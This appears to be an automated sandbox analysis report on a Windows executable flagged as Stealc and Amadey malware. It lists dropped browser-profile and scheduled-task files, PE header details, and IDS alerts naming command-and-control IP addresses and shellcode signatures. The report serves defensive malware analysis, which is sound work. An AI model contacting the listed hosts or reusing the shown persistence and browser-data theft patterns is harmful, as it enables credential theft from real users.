SHA-256:	5393F0E8D90EE6A26EAC13B81B83EDC0637487B3E427175021D7EC4CDE8E34A7
SHA-512:	0E05486A6B6AD65D3A95FCFE46BE6687DD47E311374F11DE89F9CFB8C301951D6BFE43FA24851A3E759B6F8AF69A5F593568FB61F576AB52941F6B2B6EE54BC8
Malicious:	false
Preview:	[Compatibility]..LastVersion=118.0.1_20230927232528/20230927232528..LastOSABI=WINNT_x86_64-msvc..LastPlatformDir=C:\Program Files\Mozilla Firefox..LastAppDir=C:\Program Files\Mozilla Firefox\browser..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.034551466631645426
Encrypted:	false
SSDEEP:	3:GtlstFp0tA1bPAM1lstFp0tA1bPAZT89//alEl:GtWtYG1MM1WtYG1MN89XuM
MD5:	1D56455454AAA945994BFCC3AA5CC72B
SHA1:	3F25386E55BCFEFDBBDFAB1AA679EF95EB011158
SHA-256:	C52B10AE8A50AF5C6F11DD384F0DE3F4F6AB7A0544E96AE395E3FE08B2C93EA4
SHA-512:	420FD06873E53D9D99572207E5E2E4527C1CF4E5BDD22C49D9DE47556B37F39A17FE277400B7C38D98BE9C2DD6FC8A532E90F30D2FADFBAE7B6860349FD9E6AE
Malicious:	true
Preview:	..-......................2..w...P.......j.>...-......................2..w...P.......j.>.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	13977
Entropy (8bit):	5.4671880897910095
Encrypted:	false
SSDEEP:	192:NnTFTRRUYbBp6gLZNMGaXr16qU4Zjy+/3/7lZ5RYiNBw8dJSl:NKeZFNMnsWjyCXdw80
MD5:	7086CB5F859F479B911E03D04370192E
SHA1:	D21919E562B8FFE7B04D0CC8E4D8C0E59BD439D1
SHA-256:	1949764711E33FCB3E12E13D0CA0DD75957F12DB60E6E458D7E6C12BBF029BF1
SHA-512:	F82A710CE550519DD581E9658539FFDD097B57386551A26F18CEB90A5E1B7E70D859AE8EF34196A48086C9E634906D04C982BF23B7564424DAFD97F7B1213ED9
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 2);..user_pref("app.update.lastUpdateTime.addon-background-update-timer", 1722049382);..user_pref("app.update.lastUpdateTime.background-update-timer", 1722049382);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 1722049382);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 172204

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	13977
Entropy (8bit):	5.4671880897910095
Encrypted:	false
SSDEEP:	192:NnTFTRRUYbBp6gLZNMGaXr16qU4Zjy+/3/7lZ5RYiNBw8dJSl:NKeZFNMnsWjyCXdw80
MD5:	7086CB5F859F479B911E03D04370192E
SHA1:	D21919E562B8FFE7B04D0CC8E4D8C0E59BD439D1
SHA-256:	1949764711E33FCB3E12E13D0CA0DD75957F12DB60E6E458D7E6C12BBF029BF1
SHA-512:	F82A710CE550519DD581E9658539FFDD097B57386551A26F18CEB90A5E1B7E70D859AE8EF34196A48086C9E634906D04C982BF23B7564424DAFD97F7B1213ED9
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 2);..user_pref("app.update.lastUpdateTime.addon-background-update-timer", 1722049382);..user_pref("app.update.lastUpdateTime.background-update-timer", 1722049382);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 1722049382);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 172204

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\axplong.job

Download File

Process:	C:\Users\userIJKFHIIEHI.exe
File Type:	data
Category:	dropped
Size (bytes):	304
Entropy (8bit):	3.4238147496801643
Encrypted:	false
SSDEEP:	6:IG3rbXlXUEZ+lX1lOJUPelkDdtE9+AQy0l1Xyt0:Z1Q1lOmeeDs9+nV1it0
MD5:	C7DB52351015D1B1C675562EDED694FB
SHA1:	FBE35BC06FE2CF89B4170D9D4861873CC24F3E93
SHA-256:	612002D08148367997A187427FD6A0B6CC63DEF47EF472FA6F652F1ADAB807FC
SHA-512:	A50147A249D8DD4E07A5E585531A93C3F5FC723B497E0C953D05102F44450682125D2D2B5D6913EB63204393FD9D7B2A524436D70AA6FD8DA7E13CC606D74E4C
Malicious:	false
Preview:	.....\|.L1..D.).E=..F.......<... .....s.......... ....................<.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.4.4.1.1.1.d.b.c.4.9.\.a.x.p.l.o.n.g...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0...................@3P.........................

C:\Windows\Tasks\explorti.job

Download File

Process:	C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe
File Type:	data
Category:	dropped
Size (bytes):	306
Entropy (8bit):	3.4178530664174684
Encrypted:	false
SSDEEP:	6:tnFDZXaXUEZ+lX1cI1l6lm6tE9+AQy0l1Xyt0:txlaQ1cagQ9+nV1it0
MD5:	A93319A1B1970A1937C0EE191DDBC18C
SHA1:	19FA14E0DB54B2E08238F782964EB22DC76DE876
SHA-256:	817BFE293AA77A936C4895DFA88E5A6CE28BC739E262E995E510A993AF3EAA7C
SHA-512:	DE163E34AEA639ACAA9157F9EC8BD6053743AEDA5E3E4D995FC46F88D1C749DC7E732EC1C275DF7F2373C376D4121E49FF8954435B5825947DD7B72EC5A76DC6
Malicious:	false
Preview:	....3.Rf.w?K..`..@..F.......<... .....s.......... ....................=.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.0.d.8.f.5.e.b.8.a.7.\.e.x.p.l.o.r.t.i...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0...................@3P.........................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.471131748966541
Encrypted:	false
SSDEEP:	6144:LzZfpi6ceLPx9skLmb0fCZWSP3aJG8nAgeiJRMMhA2zX4WABluuNmjDH5S:nZHtCZWOKnMM6bFpcj4
MD5:	7BB8A3715C5635E93DD538C6388CDD62
SHA1:	EED0D50DA1823F2355C748ECEC863787CC45AC0D
SHA-256:	9296084FAB64BD13204D0BDDA5295A4946A9B63D53D604B8409923DAB51AE51B
SHA-512:	D1BC9CB9AD6DA7286EB0F182C278C72BDB946DFA36099CF02AF649BF7527FB8FACF47A26F77C30B640F9E8BA56773C2B5C30EBA635D38DE29BB8CFB735CCCF86
Malicious:	false
Preview:	regfI...I....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.......................................................................................................................................................................................................................................................................................................................................................0........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.034216220616155
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	250'368 bytes
MD5:	0ef35662abbe44cf6e064cb524b10742
SHA1:	e022ebfc8011cdda89bd682001807e87f29de564
SHA256:	5adcb9c55cb600170c65b603951ef9b4a9a6e6dd95a7eed765a371bf51d2719e
SHA512:	86362e5cfd03a9adfc030bdf3df34d11a8f0a9799615f0204b96167cd1f81986de62f2533800d6d590041bcce7793c62d022e2d623532ad995d582d2ee7b3afb
SSDEEP:	3072:8COU4fRBfYChgFH+7H0tZk+KjRLTyl8A4WR1kuw8Zry3sclrrl5HO:vJ4frgChgU4ZHQhT3A4sSu7WR/l
TLSH:	F334CF1132E1C833E2E759309CF8C6F5D53FBDA29670988F3654BB6F6E702805A64362
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Tg.s... ... ... .pQ ... .pd ... .pP t.. .~i ... ... d.. .pU ... .p` ... .pg ... Rich... ........PE..L...,..e...................

File Icon


Icon Hash:	cd4d3d2e4e054d07

Static PE Info

General

Entrypoint:	0x4020e9
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x65187F2C [Sat Sep 30 20:03:56 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	227c2d4ce0274b95ccaadb855c19748d

Entrypoint Preview

Instruction
call 00007FF888DEC2B5h
jmp 00007FF888DE88DEh
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword ptr [ebp+0Ch]
push esi
call 00007FF888DEA061h
mov dword ptr [ebp+0Ch], eax
mov eax, dword ptr [esi+0Ch]
pop ecx
test al, 82h
jne 00007FF888DE8A69h
call 00007FF888DE9A4Fh
mov dword ptr [eax], 00000009h
or dword ptr [esi+0Ch], 20h
or eax, FFFFFFFFh
jmp 00007FF888DE8B84h
test al, 40h
je 00007FF888DE8A5Fh
call 00007FF888DE9A34h
mov dword ptr [eax], 00000022h
jmp 00007FF888DE8A35h
push ebx
xor ebx, ebx
test al, 01h
je 00007FF888DE8A68h
mov dword ptr [esi+04h], ebx
test al, 10h
je 00007FF888DE8ADDh
mov ecx, dword ptr [esi+08h]
and eax, FFFFFFFEh
mov dword ptr [esi], ecx
mov dword ptr [esi+0Ch], eax
mov eax, dword ptr [esi+0Ch]
and eax, FFFFFFEFh
or eax, 02h
mov dword ptr [esi+0Ch], eax
mov dword ptr [esi+04h], ebx
mov dword ptr [ebp-04h], ebx
test eax, 0000010Ch
jne 00007FF888DE8A7Eh
call 00007FF888DE9BF9h
add eax, 20h
cmp esi, eax
je 00007FF888DE8A5Eh
call 00007FF888DE9BEDh
add eax, 40h
cmp esi, eax
jne 00007FF888DE8A5Fh
push dword ptr [ebp+0Ch]
call 00007FF888DECC3Bh
pop ecx
test eax, eax
jne 00007FF888DE8A59h
push esi
call 00007FF888DECBE7h
pop ecx
test dword ptr [esi+0Ch], 00000108h
push edi
je 00007FF888DE8AD6h
mov eax, dword ptr [esi+08h]
mov edi, dword ptr [esi]
lea ecx, dword ptr [eax+01h]
mov dword ptr [esi], ecx

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[IMP] VS2008 SP1 build 30729
[RES] VS2010 build 30319
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x258e4	0x78	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x204c000	0x9a08	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x2595c	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x253b0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x23000	0x1bc	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x21870	0x21a00	e6b7a606b213a31d9ad1e8ebd890f773	False	0.8926725139405205	data	7.812950396957531	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x23000	0x32e8	0x3400	6849875db3b2a38f99a32cca96c8ba7f	False	0.35306490384615385	OpenPGP Public Key	4.956744327652811	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x27000	0x2022e8c	0xdc00	97c6d1ef25d1b4c94209a2a8f9478126	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.casiwid	0x204a000	0x2d3	0x400	0f343b0931126a20f133d67c2b018a3b	False	0.0166015625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.mufu	0x204b000	0x400	0x400	0f343b0931126a20f133d67c2b018a3b	False	0.0166015625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x204c000	0x9a08	0x9c00	5ca30f6f611fe43e4bc4f93180aac022	False	0.42790965544871795	data	4.645915303714665	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x2052c98	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.2953091684434968
RT_CURSOR	0x2053b40	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.46705776173285196
RT_CURSOR	0x20543e8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5361271676300579
RT_ICON	0x204c420	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Tamil	India	0.47254797441364604
RT_ICON	0x204c420	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Tamil	Sri Lanka	0.47254797441364604
RT_ICON	0x204d2c8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Tamil	India	0.5825812274368231
RT_ICON	0x204d2c8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Tamil	Sri Lanka	0.5825812274368231
RT_ICON	0x204db70	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	India	0.6451612903225806
RT_ICON	0x204db70	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	Sri Lanka	0.6451612903225806
RT_ICON	0x204e238	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Tamil	India	0.7073699421965318
RT_ICON	0x204e238	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Tamil	Sri Lanka	0.7073699421965318
RT_ICON	0x204e7a0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Tamil	India	0.3703319502074689
RT_ICON	0x204e7a0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Tamil	Sri Lanka	0.3703319502074689
RT_ICON	0x2050d48	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Tamil	India	0.46271106941838647
RT_ICON	0x2050d48	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Tamil	Sri Lanka	0.46271106941838647
RT_ICON	0x2051df0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Tamil	India	0.5426229508196722
RT_ICON	0x2051df0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Tamil	Sri Lanka	0.5426229508196722
RT_ICON	0x2052778	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Tamil	India	0.6320921985815603
RT_ICON	0x2052778	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Tamil	Sri Lanka	0.6320921985815603
RT_STRING	0x2054be0	0x452	data	Tamil	India	0.45479204339963836
RT_STRING	0x2054be0	0x452	data	Tamil	Sri Lanka	0.45479204339963836
RT_STRING	0x2055038	0x28e	data	Tamil	India	0.481651376146789
RT_STRING	0x2055038	0x28e	data	Tamil	Sri Lanka	0.481651376146789
RT_STRING	0x20552c8	0x73e	data	Tamil	India	0.4261057173678533
RT_STRING	0x20552c8	0x73e	data	Tamil	Sri Lanka	0.4261057173678533
RT_ACCELERATOR	0x2052c58	0x40	data	Tamil	India	0.875
RT_ACCELERATOR	0x2052c58	0x40	data	Tamil	Sri Lanka	0.875
RT_GROUP_CURSOR	0x2054950	0x30	data			0.9375
RT_GROUP_ICON	0x2052be0	0x76	data	Tamil	India	0.6610169491525424
RT_GROUP_ICON	0x2052be0	0x76	data	Tamil	Sri Lanka	0.6610169491525424
RT_VERSION	0x2054980	0x260	data			0.5345394736842105

Imports

DLL	Import
KERNEL32.dll	LocalCompact, EnumCalendarInfoW, SetEnvironmentVariableW, GetTickCount, CreateNamedPipeW, GetConsoleAliasesA, EnumResourceTypesA, GetConsoleCP, GlobalAlloc, SetFileShortNameW, LoadLibraryW, IsProcessInJob, FatalAppExitW, AssignProcessToJobObject, IsBadCodePtr, ReplaceFileW, GetModuleFileNameW, GetSystemDirectoryA, CreateFileW, GlobalUnlock, CreateJobObjectA, GetLastError, SetEndOfFile, VerLanguageNameW, LoadLibraryA, SetConsoleCtrlHandler, AddAtomW, HeapWalk, GetOEMCP, EnumDateFormatsA, GetModuleHandleA, GetProcessShutdownParameters, EnumResourceNamesA, GetFileTime, PeekConsoleInputA, GetDiskFreeSpaceExA, LCMapStringW, HeapSize, FlushFileBuffers, GetStringTypeW, WriteConsoleInputW, FindVolumeClose, GetProcAddress, HeapCompact, WriteConsoleW, HeapReAlloc, GetCommandLineW, HeapSetInformation, GetStartupInfoW, DecodePointer, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, EncodePointer, TerminateProcess, GetCurrentProcess, HeapAlloc, HeapFree, EnterCriticalSection, LeaveCriticalSection, SetHandleCount, GetStdHandle, InitializeCriticalSectionAndSpinCount, GetFileType, DeleteCriticalSection, MultiByteToWideChar, ReadFile, GetModuleHandleW, ExitProcess, SetFilePointer, HeapCreate, WriteFile, FreeEnvironmentStringsW, GetEnvironmentStringsW, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, InterlockedIncrement, SetLastError, GetCurrentThreadId, InterlockedDecrement, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, WideCharToMultiByte, GetConsoleMode, GetCPInfo, GetACP, IsValidCodePage, Sleep, RtlUnwind, SetStdHandle, IsProcessorFeaturePresent, CloseHandle
USER32.dll	GetMenu, CharUpperBuffW, SetCaretPos, GetMessageExtraInfo, DrawStateW, GetSysColorBrush
GDI32.dll	GetCharWidthI, CreateDCA, GetCharABCWidthsI
WINHTTP.dll	WinHttpOpen
MSIMG32.dll	AlphaBlend

Possible Origin

Language of compilation system	Country where language is spoken	Map
Tamil	India
Tamil	Sri Lanka

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-27T03:19:13.941737+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49710	80	192.168.2.6	85.28.47.31
2024-07-27T03:19:20.688883+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49713	80	192.168.2.6	185.215.113.16
2024-07-27T03:19:07.791635+0200	TCP	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	80	49710	85.28.47.31	192.168.2.6
2024-07-27T03:19:33.880083+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49722	80	192.168.2.6	185.215.113.19
2024-07-27T03:19:09.556677+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49710	85.28.47.31	192.168.2.6
2024-07-27T03:19:23.717616+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49714	20.114.59.183	192.168.2.6
2024-07-27T03:19:07.595139+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	49710	80	192.168.2.6	85.28.47.31
2024-07-27T03:19:10.147359+0200	TCP	2009080	ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile	80	49710	85.28.47.31	192.168.2.6
2024-07-27T03:19:15.436106+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49710	80	192.168.2.6	85.28.47.31
2024-07-27T03:19:15.704498+0200	TCP	2009080	ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile	80	49710	85.28.47.31	192.168.2.6
2024-07-27T03:19:08.969858+0200	TCP	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	49710	80	192.168.2.6	85.28.47.31
2024-07-27T03:19:37.681440+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	49725	80	192.168.2.6	185.215.113.16
2024-07-27T03:19:16.051108+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49710	80	192.168.2.6	85.28.47.31
2024-07-27T03:19:18.451045+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49710	80	192.168.2.6	85.28.47.31
2024-07-27T03:19:17.496929+0200	TCP	2009080	ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile	80	49710	85.28.47.31	192.168.2.6
2024-07-27T03:19:35.347796+0200	TCP	2009080	ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile	80	49723	185.215.113.16	192.168.2.6
2024-07-27T03:19:15.040518+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49710	85.28.47.31	192.168.2.6
2024-07-27T03:19:09.666383+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49710	85.28.47.31	192.168.2.6
2024-07-27T03:19:09.562601+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49710	85.28.47.31	192.168.2.6
2024-07-27T03:20:08.401206+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	49773	80	192.168.2.6	85.28.47.31
2024-07-27T03:19:15.218011+0200	TCP	2002725	ET ACTIVEX COM Object Instantiation Memory Corruption Vulnerability MS05-054	80	49710	85.28.47.31	192.168.2.6
2024-07-27T03:19:14.861419+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49710	80	192.168.2.6	85.28.47.31
2024-07-27T03:19:15.217939+0200	TCP	2009080	ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile	80	49710	85.28.47.31	192.168.2.6
2024-07-27T03:19:09.578578+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49710	85.28.47.31	192.168.2.6
2024-07-27T03:19:09.392908+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49710	80	192.168.2.6	85.28.47.31
2024-07-27T03:19:07.786748+0200	TCP	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	49710	80	192.168.2.6	85.28.47.31
2024-07-27T03:19:09.915885+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49710	85.28.47.31	192.168.2.6
2024-07-27T03:19:34.899422+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	49723	80	192.168.2.6	185.215.113.16
2024-07-27T03:20:01.663232+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49753	20.114.59.183	192.168.2.6
2024-07-27T03:19:07.979523+0200	TCP	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	80	49710	85.28.47.31	192.168.2.6
